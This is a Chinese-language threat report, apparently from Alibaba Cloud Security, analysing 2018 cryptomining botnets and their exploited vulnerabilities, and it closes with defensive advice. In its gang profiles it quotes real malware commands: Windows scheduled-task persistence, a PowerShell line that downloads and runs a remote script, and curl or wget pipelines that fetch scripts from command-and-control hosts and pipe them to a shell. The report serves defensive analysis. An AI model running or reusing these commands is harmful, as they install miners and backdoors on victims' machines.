2018 年雲上挖礦分析報告
作者:阿里雲安全
來源公眾號: 阿里雲安全
在剛剛過去的 2018 年,惡意挖礦事件層出不窮。儘管加密貨幣的價格經歷了狂歡後的暴跌之痛,但挖礦仍是網路黑產團伙在入侵伺服器之後,最直接的變現手段。隨著挖礦團伙產業化,我們看到越來越多的0-Day/N-Day 漏洞在公佈後的極短時間內就被用於入侵挖礦;同時,一些"根深蒂固"存在的問題,如弱密碼和應用許可權配置不當也成為了惡意挖礦活動的溫床。
在可預見的未來,黑產團伙利用漏洞發起攻擊進行挖礦的趨勢仍將持續,已被入侵挖礦的機器也隨時可能被挖礦攻擊者當成下一輪攻擊的
“跳板”。本報告以阿里雲 2018 年的攻防資料為基礎,對惡意挖礦態勢進行了分析,併為個人和企業提出了合理的安全防護建議。
核心概要
- 熱點 0-Day/N-Day 漏洞成為挖礦團伙的“武器庫”,0-Day 漏洞留給使用者進行修復的視窗期變短;
- 非 Web 網路應用暴露在公網後成為挖礦團伙利用的重災區;
- 挖礦團伙廣泛利用暴力破解進行傳播,弱密碼仍然是網際網路面臨的主要威脅;
- 挖礦後門普遍通過蠕蟲形式傳播,並在受害主機上通過持久化駐留獲取最大收益;
- 挖礦團伙會通過偽裝程序、加殼、程式碼混淆、私搭礦池(代理)等手段規避安全分析和溯源。
攻擊態勢分析
【熱點 0-Day/N-Day 漏洞利⽤成為挖礦團伙的"武器庫",0-Day 漏洞留給⽤戶進⾏修復的窗⼝期變短】
2018 年,多個應用廣泛的 web 應用爆出高危漏洞,對網際網路安全造成嚴重威脅。事後安全社群對漏洞資訊的分析和漏洞細節的分享,讓利用程式碼能夠方便的從網際網路上獲取。挖礦團伙自然不會放過這些唾手可
得的“武器庫”。此外一些持續未得到普遍修復的 N-Day 漏洞往往也會被挖礦團伙利用,例如近年熱門的反序列化漏洞和 Struts 系列的遠端執行漏洞等。下圖展示的是部分熱點 0-Day/N-Day 漏洞被挖礦團伙大量利用的時間線。
同時阿里雲觀察到, 0-Day 漏洞從披露到大規模利用之間的時間間隔越來越小。如 Jboss 反序列化漏洞於 2017 年 5 月被發現,年底JbossMiner 開始對其大規模利用,並在 2018 年 3 月達到高峰。而今年Drupal 和 ThinkPHP 遠端命令執行漏洞從披露到被挖礦團伙廣泛利用, 時間間隔都小於一個月。因此在高危 0-Day 漏洞爆出後未能及時修復的使用者,容易成為惡意挖礦的受害者。
【⾮ Web ⺴絡應⽤暴露在公⺴後成為挖礦團伙利⽤的重災區】
企業對 Web 應用可能造成的安全威脅已經有足夠的重視, WAF、RASP、漏洞掃描等安全產品也提升了 Web 應用的安全水位。而非 Web 網路應用(Redis、Hadoop、SQLServer 等)往往並非企業核心應用,企業在安全加固和漏洞修復上投入並不如 Web 應用,往往導致高危漏洞持續得不到修復,因而挖礦團伙也會針對性利用網際網路上這些持續存在的弱點應用,如 DDG 團伙就持續的利用 Redis 未授權訪問漏洞擴大其感染量。下圖展示的是 2018 年非 Web 網路應用漏洞被挖礦團伙利用的時間線。
【挖礦團伙⼲泛利⽤暴⼒破解進⾏傳播,弱密碼仍然是互聯⺴⾯臨的主要威脅】
下圖為不同應用被入侵導致挖礦所佔百分比,可以發現SSH/RDP/SQLServer 是挖礦利用的重點應用,而這些應用通常是因為弱密碼被暴力破解導致被入侵感染挖礦病毒。由此可以看出弱密碼導致的身份認證問題仍然是網際網路面臨的重要威脅。
惡意行為
【挖礦後⻔普遍通過蠕⾍形式傳播】
大多數的挖礦團伙在感染受害主機植入挖礦木馬後,會控制這些受害主機對本地網路及網際網路的其他主機進行掃描和攻擊,從而擴大感染量, 如 DDG、DockerKiller、RDPMiner 等團伙。這些挖礦木馬傳播速度較快,且很難在網際網路上根除,因為一旦少量主機受到惡意程式感染, 它會受控開始攻擊其他主機,導致其它帶有漏洞或存在配置問題的主機也很快淪陷。
少量挖礦團伙會直接控制部分主機進行網路攻擊,入侵受害主機後只在主機植入挖礦後門,並不會進一步擴散。最有代表性的就是 8220 挖礦團伙。這類團伙一般漏洞利用手段比較豐富,漏洞更新速度較快。
【挖礦團伙會在受害主機上通過持久化駐留獲取大收益】
大多數的挖礦團伙,都會嘗試在受害主機上持久化駐留以獲取最大收益。
通常在 Linux 系統中,挖礦團伙通過 crontab 設定週期性被執行的指令。在 Windows 系統中,挖礦團伙通常使用 schtask 和 WMI 來達到持久化的目的。
如下為 Bulehero 木馬執行新增週期任務的 schtask 命令:
cmd /c schtasks /create /sc minute /mo 1 /tn "Miscfost" /ru system/tr "cmd /c C:\Windows\ime\scvsots.exe" cmd /c schtasks /create /sc minute /mo 1 /tn "Netframework" /rusystem /tr "cmd /c echo Y|cacls C:\Windows\scvsots.exe /p everyone:F"
例如 WannaMine 利用 WMI 進行定時任務的新增,指令碼程式碼如下:
cmd /c echo powershell -nop "$a=([string](Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding ));if(($a -eq $null) -or (!($a.contains('SCM Event Filter')))) {IEX(New-Object Net.WebClient).DownloadString('http[:]//stafftest.spdns[.]eu:8000/mate6.ps1')}" >%temp%\y1.bat && SCHTASKS /create /RU System /SC DAILY /TNyastcat /f /TR "%temp%\y1.bat" &&SCHTASKS /run /TN yastcat<c/ode>
【挖礦團伙會通過偽裝程序、加殼、程式碼混淆、私搭礦池或代理等手段規避安全分析和溯源】
Bulehero 挖礦網路使用的病毒下載器程序名為 scvsots.exe,與windows 正常程式的名字 svchost.exe 極其相似;其它殭屍網路使用的惡意程式名,像 taskhsot.exe、taskmgr.exe、java 這類形似正常程式的名稱也是屢見不鮮。
專業的安全工程師或許能夠通過程式存放路徑或是查詢 md5、分析二進位制程式等,能夠得知合法程式已遭到惡意軟體替換。但針對普通運維人員,上述這樣偽裝成正常系統檔案的檔名能夠降低被分析發現的概率。
在分析挖礦殭屍網路的過程中我們發現,大多數後門二進位制程式都被加殼,最經常被使用的是 Windows 下的 UPX、VMP、sfxrar 等,如下圖,幾乎每個 RDPMiner 使用的惡意程式都加了上述三種殼之一。
此外,挖礦團伙使用的惡意指令碼往往也經過各種混淆。如下圖, JBossMiner 挖礦殭屍網路在其 vbs 惡意指令碼中進行混淆加密。
儘管人工分析時可以通過多種手段去混淆或解密,但加密和混淆對逃避防毒軟體而言,仍是非常有效的手段。
惡意挖礦團伙使用用自己的錢包地址連線公開礦池,可能因為礦池收到投訴導致錢包地址被封禁,如 8220 團伙的錢包地址由於“涉及殭屍網路活動”而被 monerohash.com 礦池封禁。挖礦團伙傾向於更多的使用礦池代理或私搭礦池的方式進行挖礦。進而安全研究人員也難以通過礦池公佈的 HashRate 和付款歷史估算出被入侵主機的數量和規模。
主流團伙概述
1. DDG 挖礦團伙
從 2017 年底首次被曝光至今, DDG 挖礦殭屍網路一直保持著極高的活躍度。其主要惡意程式由 go 語言寫成,客觀上對安全人員研究分析造成了一定阻礙。而頻繁的程式配置改動、技術手段升級,使它堪稱
2018 年危害最大的挖礦殭屍網路。
1)主要利用漏洞:
-
Orientdb 漏洞(早期)
-
Redis 未授權訪問漏洞
-
SSH 弱密碼
2)主要惡意行為:
- 下載、釋放、執行多個包含掃描、挖礦等功能的惡意程式
3)主要命令控制和更新方式:
-
以 104.236.156.211 等多個 ip 地址為惡意指令碼分發平臺
-
伺服器 cc 埠號通常為 8000 或 8443
4)挖礦網路結構:
DDG 挖礦殭屍網路控制受感染主機執行以下命令,下載 i.sh 指令碼。
/bin/sh -c curl -L http://104.236.156.211:8000/i.sh | sh
而執行 i.sh,會進一步下載 ddgs 惡意程式、挖礦程式等。在一年多的迭代過程中, DDG 經歷了多輪更新,大版本從 201X 進化到 301X,目前最新觀測到的小版本號為 3019,各模組結構功能如下圖所示:
2. 8220 挖礦團伙
在諸多挖礦殭屍網路中, 8220 團伙的挖礦木馬獨樹一幟,因為它並未採用蠕蟲型傳播,而是直接對漏洞進行利用。
這種方式理論上傳播速度較慢,相較於蠕蟲型傳播的殭屍網路也更難存活,但 8220 挖礦團伙仍以這種方式獲取了較大的感染量。
1)主要利用漏洞:
- WebLogic XMLDecoder 反序列化漏洞
- Drupal 遠端程式碼執行漏洞
- JBoss 反序列化命令執行漏洞
- Couchdb 的組合漏洞
- Redis 未授權訪問
- Hadoop Yarn 未授權訪問漏洞
2)主要惡意行為:
- 下載、釋放、執行多個包含掃描、挖礦等功能的惡意程式
- 解密資料段中的礦機,選擇一個傀儡程序,將礦機注入傀儡程序中進行挖礦
3)主要命令控制和更新方式:
- 以多個伺服器作為惡意程式分發平臺,控制受害主機下載惡意程式
4)挖礦網路結構:
3. Mykings(theHidden)挖礦團伙
Mykings(又名 theHidden“隱匿者”)挖礦網路在 2017 年中就被多家友商提及並報道。它從 2014 年開始出現,時至今日該殭屍網路依然活躍,可以說是擁有非常旺盛的生命力。該殭屍網路極為複雜,集成了 Mirai、Masscan 等惡意程式的功能,此外在payload、BypassUAC 部分都使用極其複雜的加密混淆技術,掩蓋攻擊意圖,逃避安全軟體的檢測和安全研究人員的分析。該挖礦殭屍網路在 11 月底更是被發現與“暗雲”聯手,危害性再次增強。
1)主要利用漏洞:
該挖礦殭屍網路傳播主要是基於名為 msinfo.exe 的惡意程式,對1433 等埠進行爆破掃描。其他被掃描的埠和服務包括:
- 3306 MySQL
- 135 WMI
- 22 SSH
- 445 IPC
- 23 Telnet
- 80 Web
- 3389 RDP
2)主要惡意行為:
- 下載、釋放、執行多個包含掃描、挖礦等功能的惡意程式
- (結合“暗雲”木馬後)植入會修改 MBR 的 Bootkit
3)主要命令控制和更新方式
- 以多個伺服器作為惡意程式分發平臺,控制受害主機下載惡意程式
4)挖礦網路結構:
MyKings 組成較為複雜,它由攻擊模組、下載指令碼、包括 mirai 在內的多個惡意木馬組成,其中攻擊模組集成了 masscan,能夠“高效” 地掃描、攻擊其他主機。
4. Bulehero 挖礦團伙
1)主要利用漏洞:
2018 年中 Bulehero 出現時,傳播主要依賴“永恆之藍”漏洞、Struts2 和 Weblogic 漏洞、對內網主機進行 1433 埠爆破(SQL Server)和 IPC 遠端連線爆破攻擊等幾種挖礦殭屍網路的常見傳播手段;到了年底,該挖礦團伙開始利用 ThinkPHP 遠端命令執行漏洞,入侵新的一批機器。
2)主要惡意行為:
- 下載、釋放、執行多個包含掃描、挖礦等功能的惡意程式
3)主要命令控制和更新方式
- 從 a46.bulehero.in 伺服器獲取下載器,執行後進一步下載、釋放多個包含掃描、挖礦等功能的惡意程式。
4)挖礦網路結構:
5. RDPMiner 挖礦團伙
該挖礦殭屍網路自 2018 年 10 月開始蔓延,之後多次更換挖礦程式名稱。
1)主要利用漏洞:
- RDP 弱口令
2)主要惡意行為:
- 下載、釋放、執行多個包含掃描、挖礦等功能的惡意程式
- 關閉 Windows 防火牆,新增自啟動項
- 新增惡意使用者賬號
3)主要命令控制和更新方式
- 以 111.63.225.242 作為檔案分發伺服器。
4)挖礦網路結構:
6. JbossMiner 挖礦團伙
阿里雲安全團隊於 2018 年 3 月報道過,從蜜罐中捕獲到JbossMiner 的惡意程式樣本,該樣本由 py2exe 打包,解包反編譯後是一套由 Python 編寫的完整攻擊程式,包含原始碼及依賴類庫等數十個檔案。且對於 Windows 和 Linux 系統的受害主機,有不同的利用程式。
1)主要利用漏洞:
- Jboss 反序列化漏洞(主要)
- Struts2 遠端命令執行漏洞
- “永恆之藍”漏洞
2)主要惡意行為:
- 下載、釋放、執行多個包含掃描、挖礦等功能的惡意程式
3)主要命令控制和更新方式:
- 以 enjoytopic.esy.es 等網站作為分發平臺
4)挖礦網路結構:
7. WannaMine
WannaMine 是一個蠕蟲型殭屍網路。這個挖礦團伙的策略曾被CrowdStrike 形容為“靠山吃山靠水吃水”(living off the land),因為惡意程式在被感染的主機上,首先會嘗試通過 Mimikatz 收集的密碼登入其他主機,失敗之後再利用“永恆之藍”漏洞攻擊其他主機,進行 繁殖傳播。
1)主要利用漏洞:
- “永恆之藍”漏洞
- RDP 弱密碼或多臺機使用同樣密碼
2)主要惡意行為:
- 下載、釋放、執行多個包含掃描、挖礦等功能的惡意程式
- 從記憶體中 dump 使用者密碼
3)主要命令控制和更新方式:
- 以 http://118.184.48.95:8000 作為檔案分發平臺
4)挖礦網路結構:
8. Kworkerd
這是一個主要攻擊 Redis 資料庫未授權訪問漏洞的挖礦殭屍網路, 因其將挖礦程式的名字偽裝成 Linux 正常程序 Kworkerd 故得名。
1)主要利用漏洞:
- Redis 服務未授權訪問
2)主要惡意行為:
- 下載、釋放、執行多個包含掃描、挖礦等功能的惡意程式
- 替換/etc/ld.so.preload 檔案,通過預載入劫持 Linux 系統函式,使 top、ps 等命令無法找到挖礦程序。
3)主要命令控制和更新方式
- 該挖礦團伙使用 pastebin 作為檔案分發平臺
4)挖礦網路結構:
已被感染的惡意主機會首先下載 https://pastebin.com/raw/xbY7p5Tb 檔案,其內容為
(curl -fsSL https://pastebin.com/raw/uuYVPLXd||wget -q -Ohttps://pastebin.com/raw/uuYVPLXd)|base64 -d|/bin/bash
執行後會再次請求 https://pastebin.com/raw/uuYVPLXd ,該指令碼解碼後內容類似前文所述其他挖礦團伙,會清除同類挖礦程式、下載並執行自己的挖礦程式、掃描內網主機進一步擴大入侵範圍等。
該木馬只利用一種漏洞卻仍有不少感染量,說明資料庫安全配置亟待得到使用者的重視。
9. DockerKiller
隨著微服務的熱度不斷上升,越來越多的企業選擇容器來部署自己的應用。而 Docker 作為實現微服務首選容器,在大規模部署的同時其安全性卻沒有引起足夠的重視。2018 年 8 月, Docker 配置不當導致的未授權訪問漏洞遭到挖礦團伙的批量利用。
1)主要利用漏洞:
- Docker 未授權訪問
2)主要惡意行為:
- 下載、釋放、執行多個包含掃描、挖礦等功能的惡意程式
- 關閉 Windows 防火牆
- 新增自啟動項
- 新增惡意使用者賬號
3)主要命令控制和更新方式:
從 http://159.203.21.239 下載名為 auto.sh 的指令碼,該指令碼作為下載器,會下載後續入侵、挖礦需要的各種程式;完整伺服器檔案列表如下:
4)挖礦網路結構:
安全建議
如今儘管幣價低迷,但由於經濟形勢承受下行的壓力,可能為潛在的犯罪活動提供誘因。阿里雲預計, 2019 年挖礦活動數量仍將處於較高的水位;且隨著挖礦和漏洞利用相關知識的普及,惡意挖礦的入場玩家可能趨於穩定且伴有少量增加。
基於這種狀況,阿里雲安全團隊為企業和個人提供如下安全建議:
-
安全系統中最薄弱的一環在於人, 最大的安全問題也往往出於人的惰性,因此弱密碼、爆破的問題佔了挖礦原因的半壁江山。無論是企業還是個人,安全意識教育必不可少;
-
0-Day 漏洞修復的視窗期越來越短,企業需要提升漏洞應急響應的效率, 一方面是積極進行應用系統更新, 另一方面是關注產品的安全公告並及時升級,同時也可以選擇購買安全託管服務提升自己的安全水位;
-
伴隨著雲上彈性的計算資源帶來的便利,一些非 Web 類的網路應用暴露的風險也同步上升,安全運維人員應該重點關注非 Web 類的應用伴隨的安全風險,或者選擇購買帶 IPS 功能的防火牆產品, 第一時間給 0-Day 漏洞提供防護。
參考文獻
-
MyKing 黑產團伙最新挖礦活動曝光
https://x.threatbook.cn/nodev4/vb4/article?threatInfoID=936 -
徹底曝光黑客“ 隱匿者” 目前作惡最多的網路攻擊團伙
https://www.huorong.cn/info/150097083373.html -
DDG 挖礦殭屍網路瞄準資料庫伺服器:收益已達近 800 萬
http://www.4hou.com/technology/11770.html -
蠕蟲病毒 bulehero 再次利用“ 永恆之藍”在企業內網攻擊傳播
https://www.freebuf.com/column/180544.html -
JbossMiner 挖礦蠕蟲分析
https://xz.aliyun.com/t/2189 -
Kworkerd 惡意挖礦分析 https:// www.anquanke.com/post/id/159497
-
Threat Hunting, the Investigation of Fileless Malware Attacks
https://www.pandasecurity.com/mediacenter/pandalabs/threat-hunting-fileless-attacks/ -
Cryptomining: Harmless Nuisance or Disruptive Threat?
https://www.crowdstrike.com/blog/cryptomining-harmless-nuisance-disruptive-threat/ -
疑似國內來源的“ 8220”追蹤溯源分析
https://ti.360.net/blog/articles/8220-mining-gang-in-china/